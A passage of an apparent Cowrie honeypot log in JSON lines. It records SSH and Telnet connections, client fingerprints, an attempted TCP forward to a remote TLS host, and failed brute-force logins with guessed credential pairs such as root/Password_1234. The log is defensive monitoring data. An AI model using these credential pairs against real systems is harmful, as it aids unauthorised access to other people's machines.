\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:54.413296Z","src_ip":"123.27.168.40","session":"65695c461158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43396,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdcf142a8d3e","protocol":"telnet","message":"New connection: 172.81.62.90:43396 (159.203.135.109:23) [session: cdcf142a8d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:54.802678Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:54.909382Z","session":"65695c461158","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:55.164729Z","src_ip":"123.27.168.40","session":"65695c461158","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03?k\\x97{K\\x00nn\\xea\\xcd.V\\xc0\\xf2T\\xbeG\\xd4\\xb0\\xda!\\x98[\\x194\\xa8H,\\xb4C\\x8b\\xf2 r\\xcd+\\xb3\\x89\\x12\\xb6\\xd1\\xc7\\x1d\\xe2\\x98\\xf0\\x81\\xca\\x1ci`\\xfda\\x9e\\xb2\\x15\\xc9\\xb9C\\x8c\\x85\\x91I1\\x7f\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1d\\xebq.\\x023\\xb5\\x12\\xf2\\xc7\\xfaL\\xf0\\xae\\xf5\\xddA\\xd3\\x87\\xbb_\\x8c\\xb6\\xb7\\xd2\\xfd)\\x869M\\x0em\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03?k\\x97{K\\x00nn\\xea\\xcd.V\\xc0\\xf2T\\xbeG\\xd4\\xb0\\xda!\\x98[\\x194\\xa8H,\\xb4C\\x8b\\xf2 r\\xcd+\\xb3\\x89\\x12\\xb6\\xd1\\xc7\\x1d\\xe2\\x98\\xf0\\x81\\xca\\x1ci`\\xfda\\x9e\\xb2\\x15\\xc9\\xb9C\\x8c\\x85\\x91I1\\x7f\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1d\\xebq.\\x023\\xb5\\x12\\xf2\\xc7\\xfaL\\xf0\\xae\\xf5\\xddA\\xd3\\x87\\xbb_\\x8c\\xb6\\xb7\\xd2\\xfd)\\x869M\\x0em\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:55.167944Z","src_ip":"123.27.168.40","session":"65695c461158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:55.523707Z","src_ip":"123.27.168.40","session":"65695c461158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webtest","password":"webtest","message":"login attempt [webtest/webtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:55.970456Z","src_ip":"91.92.40.36","session":"4e0e50b5620d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:57.549328Z","src_ip":"91.92.40.36","session":"4e0e50b5620d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":48570,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6889aaefe99","protocol":"ssh","message":"New connection: 27.71.230.31:48570 (159.203.135.109:22) [session: e6889aaefe99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:58.846351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:59.633022Z","src_ip":"27.71.230.31","session":"e6889aaefe99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:00.879558Z","src_ip":"27.71.230.31","session":"e6889aaefe99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61416,"dst_ip":"10.17.0.5","dst_port":22,"session":"d549c8dabcb5","protocol":"ssh","message":"New connection: 91.92.40.36:61416 (10.17.0.5:22) [session: d549c8dabcb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:01.226939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:01.601287Z","src_ip":"91.92.40.36","session":"d549c8dabcb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:01.614054Z","src_ip":"91.92.40.36","session":"d549c8dabcb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":44516,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4c526032c6d","protocol":"ssh","message":"New connection: 97.74.87.152:44516 (159.203.135.109:22) [session: c4c526032c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:02.610741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:02.618045Z","src_ip":"97.74.87.152","session":"c4c526032c6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:02.859340Z","src_ip":"97.74.87.152","session":"c4c526032c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible123!","message":"login attempt [ansible/ansible123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:03.856862Z","src_ip":"97.74.87.152","session":"c4c526032c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:04.326428Z","src_ip":"91.92.40.36","session":"d549c8dabcb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:05.101484Z","src_ip":"97.74.87.152","session":"c4c526032c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password_1234","message":"login attempt [root/Password_1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:05.506418Z","src_ip":"27.71.230.31","session":"e6889aaefe99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:06.145458Z","src_ip":"91.92.40.36","session":"d549c8dabcb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:06.750877Z","src_ip":"27.71.230.31","session":"e6889aaefe99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50616,"dst_ip":"10.17.0.5","dst_port":22,"session":"df5bceb9f2bb","protocol":"ssh","message":"New connection: 91.92.40.36:50616 (10.17.0.5:22) [session: df5bceb9f2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:08.292927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:09.207430Z","src_ip":"91.92.40.36","session":"df5bceb9f2bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:09.210758Z","src_ip":"91.92.40.36","session":"df5bceb9f2bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:11.185320Z","src_ip":"91.92.40.36","session":"df5bceb9f2bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:12.583974Z","src_ip":"91.92.40.36","session":"df5bceb9f2bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10392,"dst_ip":"10.17.0.5","dst_port":22,"session":"dac8813b98b0","protocol":"ssh","message":"New connection: 91.92.40.36:10392 (10.17.0.5:22) [session: dac8813b98b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:15.715923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:16.358028Z","src_ip":"91.92.40.36","session":"dac8813b98b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:16.361352Z","src_ip":"91.92.40.36","session":"dac8813b98b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:19.755125Z","src_ip":"91.92.40.36","session":"dac8813b98b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:21.301426Z","src_ip":"91.92.40.36","session":"dac8813b98b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":58098,"dst_ip":"10.17.0.5","dst_port":22,"session":"e314cb5fe2f3","protocol":"ssh","message":"New connection: 73.36.177.174:58098 (10.17.0.5:22) [session: e314cb5fe2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:21.937490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:21.946362Z","src_ip":"73.36.177.174","session":"e314cb5fe2f3","protocol":"ssh"}
